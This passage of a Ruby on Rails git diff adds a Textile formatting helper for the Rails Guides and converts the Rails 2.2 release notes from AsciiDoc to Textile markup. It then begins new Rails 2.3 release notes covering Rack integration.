+ d[i-1][j] + 1, # deletion
+ d[i][j-1] + 1, # insertion
+ d[i-1][j-1] + cost, # substitution
+ ].min
+ end
+ end
+
+ # all done
+ return d[m][n]
+ end
+end
diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb
new file mode 100644
index 0000000000..b22be5752d
--- /dev/null
+++ b/railties/guides/rails_guides/textile_extensions.rb
@@ -0,0 +1,41 @@
+module RailsGuides
+ module TextileExtensions
+ def notestuff(body)
+ body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)(?:\.|\:)(.*)$/) do |m|
+ css_class = $1.downcase
+ css_class = 'warning' if ['caution', 'important'].include?(css_class)
+
+ result = "<div class='#{css_class}'><p>"
+ result << $2.strip
+ result << '</p></div>'
+ result
+ end
+ end
+
+ def tip(body)
+ body.gsub!(/^(TIP)\:(.*)$/) do |m|
+ result = "<div class='info'><p>"
+ result << $2.strip
+ result << '</p></div>'
+ result
+ end
+ end
+
+ def plusplus(body)
+ body.gsub!(/\+(.*?)\+/) do |m|
+ "<notextile><tt>#{$1}</tt></notextile>"
+ end
+
+ # The real plus sign
+ body.gsub!('<plus>', '+')
+ end
+
+ def code(body)
+ body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
+ es = ERB::Util.h($2)
+ css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
+ %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
+ end
+ end
+ end
+end
diff --git a/railties/doc/guides/source/2_2_release_notes.txt b/railties/guides/source/2_2_release_notes.textile
index 6aa9fa19ce..f60af01050 100644
--- a/railties/doc/guides/source/2_2_release_notes.txt
+++ b/railties/guides/source/2_2_release_notes.textile
@@ -1,70 +1,69 @@
-Ruby on Rails 2.2 Release Notes
-===============================
+h2. Ruby on Rails 2.2 Release Notes
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub.
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails.
+Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
-== Infrastructure
+endprologue.
+
+h3. Infrastructure
Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
-=== Internationalization
+h4. Internationalization
Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
* Lead Contributors: Rails i18 Team
* More information :
- - link:http://rails-i18n.org[Official Rails i18 website]
- - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized]
- - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application]
+** "Official Rails i18 website":http://rails-i18n.org
+** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
+** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
-=== Compatibility with Ruby 1.9 and JRuby
+h4. Compatibility with Ruby 1.9 and JRuby
Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
-== Documentation
-
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-
-* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails]
-* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations]
-* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations]
-* link:http://guides.rubyonrails.org/finders.html[Active Record Finders]
-* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails]
-* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers]
-* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In]
-* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller]
-* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching]
-* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications]
-* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications]
-* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications]
-* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
-* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins]
+h3. Documentation
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
+* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
+* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
+* "Active Record Finders":http://guides.rubyonrails.org/finders.html
+* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
+* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
+* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
+* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
+* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
+* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
+* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
+* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
+* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
+* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
If you want to generate these guides locally, inside your application:
-[source, ruby]
--------------------------------------------------------
+<ruby>
rake doc:guides
--------------------------------------------------------
+</ruby>
This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
-* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team]
-* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai].
+* Lead Contributors: "Rails Documentation Team":http://guides.rails.info/credits.html
+* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
* More information:
- - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]
- - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch]
+** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
+** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
-== Better integration with HTTP : Out of the box ETag support
+h3. Better integration with HTTP : Out of the box ETag support
Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ArticlesController < ApplicationController
def show_with_respond_to_block
@article = Article.find(params[:id])
@@ -94,61 +93,58 @@ class ArticlesController < ApplicationController
fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
end
end
--------------------------------------------------------
+</ruby>
-== Thread Safety
+h3. Thread Safety
The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
config.threadsafe!
--------------------------------------------------------
+</ruby>
* More information :
- - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails]
- - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement]
- - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means]
+** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
+** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
+** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
-== Active Record
+h3. Active Record
There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
-=== Transactional Migrations
+h4. Transactional Migrations
Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins]
+* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
* More information:
- - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions]
- - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails]
+** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
+** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
-=== Connection Pooling
+h4. Connection Pooling
Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
-[source, ruby]
--------------------------------------------------------
+<ruby>
development:
adapter: mysql
username: root
database: sample_development
pool: 10
wait_timeout: 10
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger]
-* More information:
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools]
+* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
+* More information:
+** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
-=== Hashes for Join Table Conditions
+h4. Hashes for Join Table Conditions
You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Photo < ActiveRecord::Base
belongs_to :product
end
@@ -159,112 +155,107 @@ end
# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
--------------------------------------------------------
+</ruby>
* More information:
- - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions]
+** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
-=== New Dynamic Finders
+h4. New Dynamic Finders
Two new sets of methods have been added to Active Record's dynamic finders family.
-==== +find_last_by_<attribute>+
+h5. +find_last_by_<em>attribute</em>+
+
+The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-The +find_last_by_<attribute>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-
-[source, ruby]
--------------------------------------------------------
+<ruby>
# Get the last user who signed up from London
User.find_last_by_city('London')
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua]
+* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
-==== +find_by_<attribute>!+
-
-The new bang! version of +find_by_<attribute>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-
-[source, ruby]
--------------------------------------------------------
+h5. +find_by_<em>attribute</em>!+
+
+The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+<ruby>
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser]
+* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
-=== Associations Respect Private/Protected Scope
+h4. Associations Respect Private/Protected Scope
Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
* Lead Contributor: Adam Milligan
* More information:
- - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private]
+** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
-=== Other ActiveRecord Changes
+h4. Other ActiveRecord Changes
* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
-== Action Controller
+h3. Action Controller
On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
-=== Shallow Route Nesting
+h4. Shallow Route Nesting
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :publishers, :shallow => true do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end
--------------------------------------------------------
+</ruby>
This will enable recognition of (among others) these routes:
--------------------------------------------------------
+<ruby>
/publishers/1 ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2 ==> magazine_path(2)
/magazines/2/photos ==> magazines_photos_path(2)
/photos/3 ==> photo_path(3)
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner]
-* More information:
- - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In]
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes]
+* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
+* More information:
+** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
+** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
-=== Method Arrays for Member or Collection Routes
+h4. Method Arrays for Member or Collection Routes
You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :collection => { :search => [:get, :post] }
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn]
+* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
-=== Resources With Specific Actions
+h4. Resources With Specific Actions
By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy
--------------------------------------------------------
+</ruby>
-* Lead Contributor: link:http://experthuman.com/[Tom Stuart]
+* Lead Contributor: "Tom Stuart":http://experthuman.com/
-=== Other Action Controller Changes
+h4. Other Action Controller Changes
-* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request.
+* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
@@ -273,94 +264,89 @@ map.resources :products, :except => :destroy
* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
-== Action View
+h3. Action View
* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
* The included Prototype javascript library has been upgraded to version 1.6.0.3.
* +RJS#page.reload+ to reload the browser's current location via javascript
* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
-== Action Mailer
+h3. Action Mailer
Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
* More information:
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts]
+** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
-== Active Support
+h3. Active Support
Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
-=== Memoization
+h4. Memoization
Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def full_name
@full_name ||= "#{first_name} #{last_name}"
end
--------------------------------------------------------
+</ruby>
Memoization lets you handle this task in a declarative fashion:
-[source, ruby]
--------------------------------------------------------
+<ruby>
extend ActiveSupport::Memoizable
def full_name
"#{first_name} #{last_name}"
end
memoize :full_name
--------------------------------------------------------
+</ruby>
Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
-* Lead Contributor: link:http://joshpeek.com/[Josh Peek]
+* Lead Contributor: "Josh Peek":http://joshpeek.com/
* More information:
- - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization]
- - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization]
+** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
+** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
-=== +each_with_object+
+h4. each_with_object
The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
-[source, ruby]
--------------------------------------------------------
+<ruby>
%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
--------------------------------------------------------
+</ruby>
-Lead Contributor: link:http://therealadam.com/[Adam Keys]
+Lead Contributor: "Adam Keys":http://therealadam.com/
-=== Delegates With Prefixes
+h4. Delegates With Prefixes
If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => true
end
--------------------------------------------------------
+</ruby>
This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => :owner
end
--------------------------------------------------------
+</ruby>
This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
-Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck]
+Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
-=== Other Active Support Changes
+h4. Other Active Support Changes
* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
@@ -372,11 +358,11 @@ Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck
* The included TzInfo library has been upgraded to version 0.3.12.
* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
-== Railties
+h3. Railties
In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
-=== +config.gems+
+h4. config.gems
To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
@@ -390,15 +376,15 @@ To avoid deployment issues and make Rails applications more self-contained, it's
You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
-* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones]
+* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
* More information:
- - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies]
- - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems]
- - link:http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128[Detailed discussion on Lighthouse]
+** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
+** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
+** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
-=== Other Railties Changes
+h4. Other Railties Changes
-* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
* +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins.
* +script/console+ now supports a +--debugger+ option
* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
@@ -406,31 +392,31 @@ You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the com
* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-== Deprecated
+h3. Deprecated
A few pieces of older code are deprecated in this release:
* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality.
+* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
* Implicit local assignments when rendering partials has been deprecated.
-[source, ruby]
--------------------------------------------------------
+<ruby>
def partial_with_implicit_local_assignment
@customer = Customer.new("Marcel")
render :partial => "customer"
end
--------------------------------------------------------
+</ruby>
Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
-* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement.
+* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
* +String#chars+ has been deprecated in favor of +String#mb_chars+.
* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
+* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
-== Credits
+h3. Credits
-Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile
new file mode 100644
index 0000000000..6a97fd2cd1
--- /dev/null
+++ b/railties/guides/source/2_3_release_notes.textile
@@ -0,0 +1,610 @@
+h2. Ruby on Rails 2.3 Release Notes
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
+
+endprologue.
+
+h3. Application Architecture
+
+There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
+
+h4. Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
+* The FCGI handler goes through Rack.
+* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
+* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* +CgiRequest+ and +CgiResponse+ have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
+* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
+* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
+* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
+* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
+* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+.
+* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
+* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
+* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
+* +ActionController::Request+ inherits from +Rack::Request+.
+* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+.
+* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
+
+h4. Renewed Support for Rails Engines
+
